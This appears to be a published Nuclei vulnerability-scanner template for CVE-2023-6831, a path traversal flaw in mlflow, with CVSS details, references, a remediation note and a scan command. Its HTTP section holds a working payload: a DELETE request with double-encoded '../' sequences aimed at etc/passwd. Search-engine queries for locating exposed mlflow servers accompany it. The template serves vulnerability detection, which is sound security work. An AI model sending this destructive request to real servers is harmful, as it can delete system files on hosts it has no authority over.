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mlflow - Path Traversal

ID: CVE-2023-6831

Severity: high

Author: byObin

Tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive

Description

Section titled “Description”

Path Traversal: ’\..\filename’ in GitHub repository mlflow/mlflow prior to 2.9.2.

YAML Source

Section titled “YAML Source”
id: CVE-2023-6831


info:
  name: mlflow - Path Traversal
  author: byObin
  severity: high
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  remediation: |
    Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6831
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
    - https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-6831
    cwe-id: CWE-22,CWE-29
    epss-score: 0.00207
    epss-percentile: 0.58698
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive


http:
  - raw:
      - |
        PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        {{randstr}}


      - |
        DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1
        Host: {{Hostname}}




    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "Content-Type: application/json"
          - "Server: gunicorn"
        condition: and


      - type: word
        part: body_2
        words:
          - "{}"


      - type: status
        status:
          - 500
# digest: 490a0046304402205ff2e173bf1391913f8c9df2feccddeb15b4846718e7ec03f5f25e946e7f182d0220435c31935f564af9378105e23c2d786b78759dd143531d309a664581fa622f22:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6831.yaml"

View on Github